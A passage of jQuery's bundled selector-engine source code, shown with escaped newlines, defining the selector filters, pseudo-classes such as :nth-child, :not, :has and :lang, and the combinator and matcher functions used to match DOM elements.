property.\n\t\t// Some victims get caught in our net (label, legend, menu, track), but it shouldn't\n\t\t// even exist on them, let alone have a boolean value.\n\t\t} else if ( \"label\" in elem ) {\n\t\t\treturn elem.disabled === disabled;\n\t\t}\n\n\t\t// Remaining elements are neither :enabled nor :disabled\n\t\treturn false;\n\t};\n}\n\n/**\n * Returns a function to use in pseudos for positionals\n * @param {Function} fn\n */\nfunction createPositionalPseudo( fn ) {\n\treturn markFunction( function( argument ) {\n\t\targument = +argument;\n\t\treturn markFunction( function( seed, matches ) {\n\t\t\tvar j,\n\t\t\t\tmatchIndexes = fn( [], seed.length, argument ),\n\t\t\t\ti = matchIndexes.length;\n\n\t\t\t// Match elements found at the specified indexes\n\t\t\twhile ( i-- ) {\n\t\t\t\tif ( seed[ ( j = matchIndexes[ i ] ) ] ) {\n\t\t\t\t\tseed[ j ] = !( matches[ j ] = seed[ j ] );\n\t\t\t\t}\n\t\t\t}\n\t\t} );\n\t} );\n}\n\n/**\n * Sets document-related variables once based on the current document\n * @param {Element|Object} [node] An element or document object to use to set the document\n */\nfunction setDocument( node ) {\n\tvar subWindow,\n\t\tdoc = node ? node.ownerDocument || node : document;\n\n\t// Return early if doc is invalid or already selected\n\t// Support: IE 11+\n\t// IE sometimes throws a \"Permission denied\" error when strict-comparing\n\t// two documents; shallow comparisons work.\n\t// eslint-disable-next-line eqeqeq\n\tif ( doc == document$1 || doc.nodeType !== 9 ) {\n\t\treturn;\n\t}\n\n\t// Update global variables\n\tdocument$1 = doc;\n\tdocumentElement$1 = document$1.documentElement;\n\tdocumentIsHTML = !jQuery.isXMLDoc( document$1 );\n\n\t// Support: IE 9 - 11+\n\t// Accessing iframe documents after unload throws \"permission denied\" errors (see trac-13936)\n\t// Support: IE 11+\n\t// IE sometimes throws a \"Permission denied\" error when strict-comparing\n\t// two documents; shallow comparisons work.\n\t// eslint-disable-next-line eqeqeq\n\tif ( isIE && document != document$1 &&\n\t\t( subWindow = document$1.defaultView ) && subWindow.top !== subWindow ) {\n\t\tsubWindow.addEventListener( \"unload\", unloadHandler );\n\t}\n}\n\nfind.matches = function( expr, elements ) {\n\treturn find( expr, null, null, elements );\n};\n\nfind.matchesSelector = function( elem, expr ) {\n\tsetDocument( elem );\n\n\tif ( documentIsHTML &&\n\t\t!nonnativeSelectorCache[ expr + \" \" ] &&\n\t\t( !rbuggyQSA || !rbuggyQSA.test( expr ) ) ) {\n\n\t\ttry {\n\t\t\treturn matches.call( elem, expr );\n\t\t} catch ( e ) {\n\t\t\tnonnativeSelectorCache( expr, true );\n\t\t}\n\t}\n\n\treturn find( expr, document$1, null, [ elem ] ).length > 0;\n};\n\njQuery.expr = {\n\n\t// Can be adjusted by the user\n\tcacheLength: 50,\n\n\tcreatePseudo: markFunction,\n\n\tmatch: matchExpr,\n\n\tfind: {\n\t\tID: function( id, context ) {\n\t\t\tif ( typeof context.getElementById !== \"undefined\" && documentIsHTML ) {\n\t\t\t\tvar elem = context.getElementById( id );\n\t\t\t\treturn elem ? [ elem ] : [];\n\t\t\t}\n\t\t},\n\n\t\tTAG: function( tag, context ) {\n\t\t\tif ( typeof context.getElementsByTagName !== \"undefined\" ) {\n\t\t\t\treturn context.getElementsByTagName( tag );\n\n\t\t\t\t// DocumentFragment nodes don't have gEBTN\n\t\t\t} else {\n\t\t\t\treturn context.querySelectorAll( tag );\n\t\t\t}\n\t\t},\n\n\t\tCLASS: function( className, context ) {\n\t\t\tif ( typeof context.getElementsByClassName !== \"undefined\" && documentIsHTML ) {\n\t\t\t\treturn context.getElementsByClassName( className );\n\t\t\t}\n\t\t}\n\t},\n\n\trelative: {\n\t\t\">\": { dir: \"parentNode\", first: true },\n\t\t\" \": { dir: \"parentNode\" },\n\t\t\"+\": { dir: \"previousSibling\", first: true },\n\t\t\"~\": { dir: \"previousSibling\" }\n\t},\n\n\tpreFilter: preFilter,\n\n\tfilter: {\n\t\tID: function( id ) {\n\t\t\tvar attrId = unescapeSelector( id );\n\t\t\treturn function( elem ) {\n\t\t\t\treturn elem.getAttribute( \"id\" ) === attrId;\n\t\t\t};\n\t\t},\n\n\t\tTAG: function( nodeNameSelector ) {\n\t\t\tvar expectedNodeName = unescapeSelector( nodeNameSelector ).toLowerCase();\n\t\t\treturn nodeNameSelector === \"*\" ?\n\n\t\t\t\tfunction() {\n\t\t\t\t\treturn true;\n\t\t\t\t} :\n\n\t\t\t\tfunction( elem ) {\n\t\t\t\t\treturn nodeName( elem, expectedNodeName );\n\t\t\t\t};\n\t\t},\n\n\t\tCLASS: function( className ) {\n\t\t\tvar pattern = classCache[ className + \" \" ];\n\n\t\t\treturn pattern ||\n\t\t\t\t( pattern = new RegExp( \"(^|\" + whitespace + \")\" + className +\n\t\t\t\t\t\"(\" + whitespace + \"|$)\" ) ) &&\n\t\t\t\tclassCache( className, function( elem ) {\n\t\t\t\t\treturn pattern.test(\n\t\t\t\t\t\ttypeof elem.className === \"string\" && elem.className ||\n\t\t\t\t\t\t\ttypeof elem.getAttribute !== \"undefined\" &&\n\t\t\t\t\t\t\t\telem.getAttribute( \"class\" ) ||\n\t\t\t\t\t\t\t\"\"\n\t\t\t\t\t);\n\t\t\t\t} );\n\t\t},\n\n\t\tATTR: function( name, operator, check ) {\n\t\t\treturn function( elem ) {\n\t\t\t\tvar result = elem.getAttribute( name );\n\n\t\t\t\tif ( result == null ) {\n\t\t\t\t\treturn operator === \"!=\";\n\t\t\t\t}\n\t\t\t\tif ( !operator ) {\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\n\t\t\t\tresult += \"\";\n\n\t\t\t\tif ( operator === \"=\" ) {\n\t\t\t\t\treturn result === check;\n\t\t\t\t}\n\t\t\t\tif ( operator === \"!=\" ) {\n\t\t\t\t\treturn result !== check;\n\t\t\t\t}\n\t\t\t\tif ( operator === \"^=\" ) {\n\t\t\t\t\treturn check && result.indexOf( check ) === 0;\n\t\t\t\t}\n\t\t\t\tif ( operator === \"*=\" ) {\n\t\t\t\t\treturn check && result.indexOf( check ) > -1;\n\t\t\t\t}\n\t\t\t\tif ( operator === \"$=\" ) {\n\t\t\t\t\treturn check && result.slice( -check.length ) === check;\n\t\t\t\t}\n\t\t\t\tif ( operator === \"~=\" ) {\n\t\t\t\t\treturn ( \" \" + result.replace( rwhitespace, \" \" ) + \" \" )\n\t\t\t\t\t\t.indexOf( check ) > -1;\n\t\t\t\t}\n\t\t\t\tif ( operator === \"|=\" ) {\n\t\t\t\t\treturn result === check || result.slice( 0, check.length + 1 ) === check + \"-\";\n\t\t\t\t}\n\n\t\t\t\treturn false;\n\t\t\t};\n\t\t},\n\n\t\tCHILD: function( type, what, _argument, first, last ) {\n\t\t\tvar simple = type.slice( 0, 3 ) !== \"nth\",\n\t\t\t\tforward = type.slice( -4 ) !== \"last\",\n\t\t\t\tofType = what === \"of-type\";\n\n\t\t\treturn first === 1 && last === 0 ?\n\n\t\t\t\t// Shortcut for :nth-*(n)\n\t\t\t\tfunction( elem ) {\n\t\t\t\t\treturn !!elem.parentNode;\n\t\t\t\t} :\n\n\t\t\t\tfunction( elem, _context, xml ) {\n\t\t\t\t\tvar cache, outerCache, node, nodeIndex, start,\n\t\t\t\t\t\tdir = simple !== forward ? \"nextSibling\" : \"previousSibling\",\n\t\t\t\t\t\tparent = elem.parentNode,\n\t\t\t\t\t\tname = ofType && elem.nodeName.toLowerCase(),\n\t\t\t\t\t\tuseCache = !xml && !ofType,\n\t\t\t\t\t\tdiff = false;\n\n\t\t\t\t\tif ( parent ) {\n\n\t\t\t\t\t\t// :(first|last|only)-(child|of-type)\n\t\t\t\t\t\tif ( simple ) {\n\t\t\t\t\t\t\twhile ( dir ) {\n\t\t\t\t\t\t\t\tnode = elem;\n\t\t\t\t\t\t\t\twhile ( ( node = node[ dir ] ) ) {\n\t\t\t\t\t\t\t\t\tif ( ofType ?\n\t\t\t\t\t\t\t\t\t\tnodeName( node, name ) :\n\t\t\t\t\t\t\t\t\t\tnode.nodeType === 1 ) {\n\n\t\t\t\t\t\t\t\t\t\treturn false;\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t// Reverse direction for :only-* (if we haven't yet done so)\n\t\t\t\t\t\t\t\tstart = dir = type === \"only\" && !start && \"nextSibling\";\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\treturn true;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tstart = [ forward ? parent.firstChild : parent.lastChild ];\n\n\t\t\t\t\t\t// non-xml :nth-child(...) stores cache data on `parent`\n\t\t\t\t\t\tif ( forward && useCache ) {\n\n\t\t\t\t\t\t\t// Seek `elem` from a previously-cached index\n\t\t\t\t\t\t\touterCache = parent[ jQuery.expando ] ||\n\t\t\t\t\t\t\t\t( parent[ jQuery.expando ] = {} );\n\t\t\t\t\t\t\tcache = outerCache[ type ] || [];\n\t\t\t\t\t\t\tnodeIndex = cache[ 0 ] === dirruns && cache[ 1 ];\n\t\t\t\t\t\t\tdiff = nodeIndex && cache[ 2 ];\n\t\t\t\t\t\t\tnode = nodeIndex && parent.childNodes[ nodeIndex ];\n\n\t\t\t\t\t\t\twhile ( ( node = ++nodeIndex && node && node[ dir ] ||\n\n\t\t\t\t\t\t\t\t// Fallback to seeking `elem` from the start\n\t\t\t\t\t\t\t\t( diff = nodeIndex = 0 ) || start.pop() ) ) {\n\n\t\t\t\t\t\t\t\t// When found, cache indexes on `parent` and break\n\t\t\t\t\t\t\t\tif ( node.nodeType === 1 && ++diff && node === elem ) {\n\t\t\t\t\t\t\t\t\touterCache[ type ] = [ dirruns, nodeIndex, diff ];\n\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t} else {\n\n\t\t\t\t\t\t\t// Use previously-cached element index if available\n\t\t\t\t\t\t\tif ( useCache ) {\n\t\t\t\t\t\t\t\touterCache = elem[ jQuery.expando ] ||\n\t\t\t\t\t\t\t\t\t( elem[ jQuery.expando ] = {} );\n\t\t\t\t\t\t\t\tcache = outerCache[ type ] || [];\n\t\t\t\t\t\t\t\tnodeIndex = cache[ 0 ] === dirruns && cache[ 1 ];\n\t\t\t\t\t\t\t\tdiff = nodeIndex;\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t// xml :nth-child(...)\n\t\t\t\t\t\t\t// or :nth-last-child(...) or :nth(-last)?-of-type(...)\n\t\t\t\t\t\t\tif ( diff === false ) {\n\n\t\t\t\t\t\t\t\t// Use the same loop as above to seek `elem` from the start\n\t\t\t\t\t\t\t\twhile ( ( node = ++nodeIndex && node && node[ dir ] ||\n\t\t\t\t\t\t\t\t\t( diff = nodeIndex = 0 ) || start.pop() ) ) {\n\n\t\t\t\t\t\t\t\t\tif ( ( ofType ?\n\t\t\t\t\t\t\t\t\t\tnodeName( node, name ) :\n\t\t\t\t\t\t\t\t\t\tnode.nodeType === 1 ) &&\n\t\t\t\t\t\t\t\t\t\t++diff ) {\n\n\t\t\t\t\t\t\t\t\t\t// Cache the index of each encountered element\n\t\t\t\t\t\t\t\t\t\tif ( useCache ) {\n\t\t\t\t\t\t\t\t\t\t\touterCache = node[ jQuery.expando ] ||\n\t\t\t\t\t\t\t\t\t\t\t\t( node[ jQuery.expando ] = {} );\n\t\t\t\t\t\t\t\t\t\t\touterCache[ type ] = [ dirruns, diff ];\n\t\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\t\tif ( node === elem ) {\n\t\t\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t// Incorporate the offset, then check against cycle size\n\t\t\t\t\t\tdiff -= last;\n\t\t\t\t\t\treturn diff === first || ( diff % first === 0 && diff / first >= 0 );\n\t\t\t\t\t}\n\t\t\t\t};\n\t\t},\n\n\t\tPSEUDO: function( pseudo, argument ) {\n\n\t\t\t// pseudo-class names are case-insensitive\n\t\t\t// https://www.w3.org/TR/selectors/#pseudo-classes\n\t\t\t// Prioritize by case sensitivity in case custom pseudos are added with uppercase letters\n\t\t\t// Remember that setFilters inherits from pseudos\n\t\t\tvar fn = jQuery.expr.pseudos[ pseudo ] ||\n\t\t\t\tjQuery.expr.setFilters[ pseudo.toLowerCase() ] ||\n\t\t\t\tselectorError( \"unsupported pseudo: \" + pseudo );\n\n\t\t\t// The user may use createPseudo to indicate that\n\t\t\t// arguments are needed to create the filter function\n\t\t\t// just as jQuery does\n\t\t\tif ( fn[ jQuery.expando ] ) {\n\t\t\t\treturn fn( argument );\n\t\t\t}\n\n\t\t\treturn fn;\n\t\t}\n\t},\n\n\tpseudos: {\n\n\t\t// Potentially complex pseudos\n\t\tnot: markFunction( function( selector ) {\n\n\t\t\t// Trim the selector passed to compile\n\t\t\t// to avoid treating leading and trailing\n\t\t\t// spaces as combinators\n\t\t\tvar input = [],\n\t\t\t\tresults = [],\n\t\t\t\tmatcher = compile( selector.replace( rtrimCSS, \"$1\" ) );\n\n\t\t\treturn matcher[ jQuery.expando ] ?\n\t\t\t\tmarkFunction( function( seed, matches, _context, xml ) {\n\t\t\t\t\tvar elem,\n\t\t\t\t\t\tunmatched = matcher( seed, null, xml, [] ),\n\t\t\t\t\t\ti = seed.length;\n\n\t\t\t\t\t// Match elements unmatched by `matcher`\n\t\t\t\t\twhile ( i-- ) {\n\t\t\t\t\t\tif ( ( elem = unmatched[ i ] ) ) {\n\t\t\t\t\t\t\tseed[ i ] = !( matches[ i ] = elem );\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t} ) :\n\t\t\t\tfunction( elem, _context, xml ) {\n\t\t\t\t\tinput[ 0 ] = elem;\n\t\t\t\t\tmatcher( input, null, xml, results );\n\n\t\t\t\t\t// Don't keep the element\n\t\t\t\t\t// (see https://github.com/jquery/sizzle/issues/299)\n\t\t\t\t\tinput[ 0 ] = null;\n\t\t\t\t\treturn !results.pop();\n\t\t\t\t};\n\t\t} ),\n\n\t\thas: markFunction( function( selector ) {\n\t\t\treturn function( elem ) {\n\t\t\t\treturn find( selector, elem ).length > 0;\n\t\t\t};\n\t\t} ),\n\n\t\tcontains: markFunction( function( text ) {\n\t\t\ttext = unescapeSelector( text );\n\t\t\treturn function( elem ) {\n\t\t\t\treturn ( elem.textContent || jQuery.text( elem ) ).indexOf( text ) > -1;\n\t\t\t};\n\t\t} ),\n\n\t\t// \"Whether an element is represented by a :lang() selector\n\t\t// is based solely on the element's language value\n\t\t// being equal to the identifier C,\n\t\t// or beginning with the identifier C immediately followed by \"-\".\n\t\t// The matching of C against the element's language value is performed case-insensitively.\n\t\t// The identifier C does not have to be a valid language name.\"\n\t\t// https://www.w3.org/TR/selectors/#lang-pseudo\n\t\tlang: markFunction( function( lang ) {\n\n\t\t\t// lang value must be a valid identifier\n\t\t\tif ( !ridentifier.test( lang || \"\" ) ) {\n\t\t\t\tselectorError( \"unsupported lang: \" + lang );\n\t\t\t}\n\t\t\tlang = unescapeSelector( lang ).toLowerCase();\n\t\t\treturn function( elem ) {\n\t\t\t\tvar elemLang;\n\t\t\t\tdo {\n\t\t\t\t\tif ( ( elemLang = documentIsHTML ?\n\t\t\t\t\t\telem.lang :\n\t\t\t\t\t\telem.getAttribute( \"xml:lang\" ) || elem.getAttribute( \"lang\" ) ) ) {\n\n\t\t\t\t\t\telemLang = elemLang.toLowerCase();\n\t\t\t\t\t\treturn elemLang === lang || elemLang.indexOf( lang + \"-\" ) === 0;\n\t\t\t\t\t}\n\t\t\t\t} while ( ( elem = elem.parentNode ) && elem.nodeType === 1 );\n\t\t\t\treturn false;\n\t\t\t};\n\t\t} ),\n\n\t\t// Miscellaneous\n\t\ttarget: function( elem ) {\n\t\t\tvar hash = window.location && window.location.hash;\n\t\t\treturn hash && hash.slice( 1 ) === elem.id;\n\t\t},\n\n\t\troot: function( elem ) {\n\t\t\treturn elem === documentElement$1;\n\t\t},\n\n\t\tfocus: function( elem ) {\n\t\t\treturn elem === document$1.activeElement &&\n\t\t\t\tdocument$1.hasFocus() &&\n\t\t\t\t!!( elem.type || elem.href || ~elem.tabIndex );\n\t\t},\n\n\t\t// Boolean properties\n\t\tenabled: createDisabledPseudo( false ),\n\t\tdisabled: createDisabledPseudo( true ),\n\n\t\tchecked: function( elem ) {\n\n\t\t\t// In CSS3, :checked should return both checked and selected elements\n\t\t\t// https://www.w3.org/TR/2011/REC-css3-selectors-20110929/#checked\n\t\t\treturn ( nodeName( elem, \"input\" ) && !!elem.checked ) ||\n\t\t\t\t( nodeName( elem, \"option\" ) && !!elem.selected );\n\t\t},\n\n\t\tselected: function( elem ) {\n\n\t\t\t// Support: IE <=11+\n\t\t\t// Accessing the selectedIndex property\n\t\t\t// forces the browser to treat the default option as\n\t\t\t// selected when in an optgroup.\n\t\t\tif ( isIE && elem.parentNode ) {\n\t\t\t\t// eslint-disable-next-line no-unused-expressions\n\t\t\t\telem.parentNode.selectedIndex;\n\t\t\t}\n\n\t\t\treturn elem.selected === true;\n\t\t},\n\n\t\t// Contents\n\t\tempty: function( elem ) {\n\n\t\t\t// https://www.w3.org/TR/selectors/#empty-pseudo\n\t\t\t// :empty is negated by element (1) or content nodes (text: 3; cdata: 4; entity ref: 5),\n\t\t\t//   but not by others (comment: 8; processing instruction: 7; etc.)\n\t\t\t// nodeType < 6 works because attributes (2) do not appear as children\n\t\t\tfor ( elem = elem.firstChild; elem; elem = elem.nextSibling ) {\n\t\t\t\tif ( elem.nodeType < 6 ) {\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn true;\n\t\t},\n\n\t\tparent: function( elem ) {\n\t\t\treturn !jQuery.expr.pseudos.empty( elem );\n\t\t},\n\n\t\t// Element/input types\n\t\theader: function( elem ) {\n\t\t\treturn rheader.test( elem.nodeName );\n\t\t},\n\n\t\tinput: function( elem ) {\n\t\t\treturn rinputs.test( elem.nodeName );\n\t\t},\n\n\t\tbutton: function( elem ) {\n\t\t\treturn nodeName( elem, \"input\" ) && elem.type === \"button\" ||\n\t\t\t\tnodeName( elem, \"button\" );\n\t\t},\n\n\t\ttext: function( elem ) {\n\t\t\treturn nodeName( elem, \"input\" ) && elem.type === \"text\";\n\t\t},\n\n\t\t// Position-in-collection\n\t\tfirst: createPositionalPseudo( function() {\n\t\t\treturn [ 0 ];\n\t\t} ),\n\n\t\tlast: createPositionalPseudo( function( _matchIndexes, length ) {\n\t\t\treturn [ length - 1 ];\n\t\t} ),\n\n\t\teq: createPositionalPseudo( function( _matchIndexes, length, argument ) {\n\t\t\treturn [ argument < 0 ? argument + length : argument ];\n\t\t} ),\n\n\t\teven: createPositionalPseudo( function( matchIndexes, length ) {\n\t\t\tvar i = 0;\n\t\t\tfor ( ; i < length; i += 2 ) {\n\t\t\t\tmatchIndexes.push( i );\n\t\t\t}\n\t\t\treturn matchIndexes;\n\t\t} ),\n\n\t\todd: createPositionalPseudo( function( matchIndexes, length ) {\n\t\t\tvar i = 1;\n\t\t\tfor ( ; i < length; i += 2 ) {\n\t\t\t\tmatchIndexes.push( i );\n\t\t\t}\n\t\t\treturn matchIndexes;\n\t\t} ),\n\n\t\tlt: createPositionalPseudo( function( matchIndexes, length, argument ) {\n\t\t\tvar i;\n\n\t\t\tif ( argument < 0 ) {\n\t\t\t\ti = argument + length;\n\t\t\t} else if ( argument > length ) {\n\t\t\t\ti = length;\n\t\t\t} else {\n\t\t\t\ti = argument;\n\t\t\t}\n\n\t\t\tfor ( ; --i >= 0; ) {\n\t\t\t\tmatchIndexes.push( i );\n\t\t\t}\n\t\t\treturn matchIndexes;\n\t\t} ),\n\n\t\tgt: createPositionalPseudo( function( matchIndexes, length, argument ) {\n\t\t\tvar i = argument < 0 ? argument + length : argument;\n\t\t\tfor ( ; ++i < length; ) {\n\t\t\t\tmatchIndexes.push( i );\n\t\t\t}\n\t\t\treturn matchIndexes;\n\t\t} )\n\t}\n};\n\njQuery.expr.pseudos.nth = jQuery.expr.pseudos.eq;\n\n// Add button/input type pseudos\nfor ( i in { radio: true, checkbox: true, file: true, password: true, image: true } ) {\n\tjQuery.expr.pseudos[ i ] = createInputPseudo( i );\n}\nfor ( i in { submit: true, reset: true } ) {\n\tjQuery.expr.pseudos[ i ] = createButtonPseudo( i );\n}\n\n// Easy API for creating new setFilters\nfunction setFilters() {}\nsetFilters.prototype = jQuery.expr.filters = jQuery.expr.pseudos;\njQuery.expr.setFilters = new setFilters();\n\nfunction addCombinator( matcher, combinator, base ) {\n\tvar dir = combinator.dir,\n\t\tskip = combinator.next,\n\t\tkey = skip || dir,\n\t\tcheckNonElements = base && key === \"parentNode\",\n\t\tdoneName = done++;\n\n\treturn combinator.first ?\n\n\t\t// Check against closest ancestor/preceding element\n\t\tfunction( elem, context, xml ) {\n\t\t\twhile ( ( elem = elem[ dir ] ) ) {\n\t\t\t\tif ( elem.nodeType === 1 || checkNonElements ) {\n\t\t\t\t\treturn matcher( elem, context, xml );\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn false;\n\t\t} :\n\n\t\t// Check against all ancestor/preceding elements\n\t\tfunction( elem, context, xml ) {\n\t\t\tvar oldCache, outerCache,\n\t\t\t\tnewCache = [ dirruns, doneName ];\n\n\t\t\t// We can't set arbitrary data on XML nodes, so they don't benefit from combinator caching\n\t\t\tif ( xml ) {\n\t\t\t\twhile ( ( elem = elem[ dir ] ) ) {\n\t\t\t\t\tif ( elem.nodeType === 1 || checkNonElements ) {\n\t\t\t\t\t\tif ( matcher( elem, context, xml ) ) {\n\t\t\t\t\t\t\treturn true;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\twhile ( ( elem = elem[ dir ] ) ) {\n\t\t\t\t\tif ( elem.nodeType === 1 || checkNonElements ) {\n\t\t\t\t\t\touterCache = elem[ jQuery.expando ] || ( elem[ jQuery.expando ] = {} );\n\n\t\t\t\t\t\tif ( skip && nodeName( elem, skip ) ) {\n\t\t\t\t\t\t\telem = elem[ dir ] || elem;\n\t\t\t\t\t\t} else if ( ( oldCache = outerCache[ key ] ) &&\n\t\t\t\t\t\t\toldCache[ 0 ] === dirruns && oldCache[ 1 ] === doneName ) {\n\n\t\t\t\t\t\t\t// Assign to newCache so results back-propagate to previous elements\n\t\t\t\t\t\t\treturn ( newCache[ 2 ] = oldCache[ 2 ] );\n\t\t\t\t\t\t} else {\n\n\t\t\t\t\t\t\t// Reuse newcache so results back-propagate to previous elements\n\t\t\t\t\t\t\touterCache[ key ] = newCache;\n\n\t\t\t\t\t\t\t// A match means we're done; a fail means we have to keep checking\n\t\t\t\t\t\t\tif ( ( newCache[ 2 ] = matcher( elem, context, xml ) ) ) {\n\t\t\t\t\t\t\t\treturn true;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn false;\n\t\t};\n}\n\nfunction elementMatcher( matchers ) {\n\treturn matchers.length > 1 ?\n\t\tfunction( elem, context, xml ) {\n\t\t\tvar i = matchers.length;\n\t\t\twhile ( i-- ) {\n\t\t\t\tif ( !matchers[ i ]( elem, context, xml ) ) {\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn true;\n\t\t} :\n\t\tmatchers[ 0 ];\n}\n\nfunction multipleContexts( selector, contexts, results ) {\n\tvar i = 0,\n\t\tlen = contexts.length;\n\tfor ( ; i < len; i++ ) {\n\t\tfind( selector, contexts[ i ], results );\n\t}\n\treturn results;\n}\n\nfunction condense( unmatched, map, filter, context, xml ) {\n\tvar elem,\n\t\tnewUnmatched = [],\n\t\ti = 0,\n\t\tlen = unmatched.length,\n\t\tmapped = map != null;\n\n\tfor ( ; i < len; i++ ) {\n\t\tif ( ( elem = unmatched[ i ] ) ) {\n\t\t\tif ( !filter || filter( elem, context, xml ) ) {\n\t\t\t\tnewUnmatched.push( elem );\n\t\t\t\tif ( mapped ) {\n\t\t\t\t\tmap.push( i );\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\treturn newUnmatched;\n}\n\nfunction setMatcher( preFilter, selector, matcher, postFilter, postFinder, postSelector ) {\n\tif ( postFilter && !postFilter[ jQuery.expando ] ) {\n\t\tpostFilter = setMatcher( postFilter );\n\t}\n\tif ( postFinder && !postFinder[ jQuery.expando ] ) {\n\t\tpostFinder = setMatcher( postFinder, postSelector );\n\t}\n\treturn markFunction( function( seed, results, context, xml ) {\n\t\tvar temp, i, elem, matcherOut,\n\t\t\tpreMap = [],\n\t\t\tpostMap = [],\n\t\t\tpreexisting = results.length,\n\n\t\t\t// Get initial elements from seed or context\n\t\t\telems = seed ||\n\t\t\t\tmultipleContexts( selector || \"*\",\n\t\t\t\t\tcontext.nodeType ? [ context ] : context, [] ),\n\n\t\t\t// Prefilter to get matcher input, preserving a map for seed-results synchronization\n\t\t\tmatcherIn = preFilter && ( seed || !selector ) ?\n\t\t\t\tcondense( elems, preMap, preFilter, context, xml ) :\n\t\t\t\telems;\n\n\t\tif ( matcher ) {\n\n\t\t\t// If we have a postFinder, or filtered seed, or non-seed postFilter\n\t\t\t// or preexisting results,\n\t\t\tmatcherOut = postFinder || ( seed ? preFilter : preexisting || postFilter ) ?\n\n\t\t\t\t// ...intermediate processing is necessary\n\t\t\t\t[] :\n\n\t\t\t\t// ...otherwise use results directly\n\t\t\t\tresults;\n\n\t\t\t// Find primary matches\n\t\t\tmatcher( matcherIn, matcherOut, context, xml );\n\t\t} else {\n\t\t\tmatcherOut = matcherIn;\n\t\t}\n\n\t\t// Apply postFilter\n\t\tif ( postFilter ) {\n\t\t\ttemp = condense( matcherOut, postMap );\n\t\t\tpostFilter( temp, [], context, xml );\n\n\t\t\t// Un-match failing elements by moving them back to matcherIn\n\t\t\ti = temp.length;\n\t\t\twhile ( i-- ) {\n\t\t\t\tif ( ( elem = temp[ i ] ) ) {\n\t\t\t\t\tmatcherOut[ postMap[ i ] ] = !( matcherIn[ postMap[ i ] ] = elem );\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tif ( seed ) {\n\t\t\tif ( postFinder || preFilter ) {\n\t\t\t\tif ( postFinder ) {\n\n\t\t\t\t\t// Get the final matcherOut by condensing this intermediate into postFinder contexts\n\t\t\t\t\ttemp = [];\n\t\t\t\t\ti = matcherOut.length;\n\t\t\t\t\twhile ( i-- ) {\n\t\t\t\t\t\tif ( ( elem = matcherOut[ i ] ) ) {\n\n\t\t\t\t\t\t\t// Restore matcherIn since elem is not yet a final match\n\t\t\t\t\t\t\ttemp.push( ( matcherIn[ i ] = elem ) );\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tpostFinder( null, ( matcherOut = [] ), temp, xml );\n\t\t\t\t}\n\n\t\t\t\t// Move matched elements from seed to results to keep them synchronized\n\t\t\t\ti = matcherOut.length;\n\t\t\t\twhile ( i-- ) {\n\t\t\t\t\tif ( ( elem = matcherOut[ i ] ) &&\n\t\t\t\t\t\t( temp = postFinder ? indexOf.call( seed, elem ) : preMap[ i ] ) > -1 ) {\n\n\t\t\t\t\t\tseed[ temp ] = !( results[ temp ] = elem );\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t// Add elements to results, through postFinder if defined\n\t\t} else {\n\t\t\tmatcherOut = condense(\n\t\t\t\tmatcherOut === results ?\n\t\t\t\t\tmatcherOut.splice( preexisting, matcherOut.length ) :\n\t\t\t\t\tmatcherOut\n\t\t\t);\n\t\t\tif ( postFinder ) {\n\t\t\t\tpostFinder( null, results, matcherOut, xml );\n\t\t\t} else {\n\t\t\t\tpush.apply( results, matcherOut );\n\t\t\t}\n\t\t}\n\t} );\n}\n\nfunction matcherFromTokens( tokens ) {\n\tvar checkContext, matcher, j,\n\t\tlen = tokens.length,\n\t\tleadingRelative = jQuery.expr.relative[ tokens[ 0 ].type ],\n\t\timplicitRelative = leadingRelative || jQuery.expr.relative[ \" \" ],\n\t\ti = leadingRelative ? 1 : 0,\n\n\t\t// The foundational matcher ensures that elements are reachable from top-level context(s)\n\t\tmatchContext = addCombinator( function( elem ) {\n\t\t\treturn elem === checkContext;\n\t\t}, implicitRelative, true ),\n\t\tmatchAnyContext = addCombinator( function( elem ) {\n\t\t\treturn indexOf.call( checkContext, elem ) > -1;\n\t\t}, implicitRelative, true ),\n\t\tmatchers = [ function( elem, context, xml ) {\n\n\t\t\t// Support: IE 11+\n\t\t\t// IE sometimes throws a \"Permission denied\" error when strict-comparing\n\t\t\t// two documents; shallow comparisons work.\n\t\t\t// eslint-disable-next-line eqeqeq\n\t\t\tvar ret = ( !leadingRelative && ( xml || context != outermostContext ) ) || (\n\t\t\t\t( checkContext = context ).nodeType ?\n\t\t\t\t\tmatchContext( elem, context, xml ) :\n\t\t\t\t\tmatchAnyContext( elem, context, xml ) );\n\n\t\t\t// Avoid hanging onto element\n\t\t\t// (see https://github.com/jquery/sizzle/issues/299)\n\t\t\tcheckContext = null;\n\t\t\treturn ret;\n\t\t} ];\n\n\tfor ( ; i < len; i++ ) {\n\t\tif ( ( matcher = jQuery.expr.relative[ tokens[ i ].type ] ) ) {\n\t\t\tmatchers = [ addCombinator( elementMatcher( matchers ), matcher ) ];\n\t\t} else {\n\t\t\tmatcher = jQuery.expr.filter[ tokens[ i ].type ].apply( null, tokens[ i ].matches );\n\n\t\t\t// Return special upon seeing a positional matcher\n\t\t\tif ( matcher[ jQuery.expando ] ) {\n\n\t\t\t\t// Find the next relative operator (if any) for proper 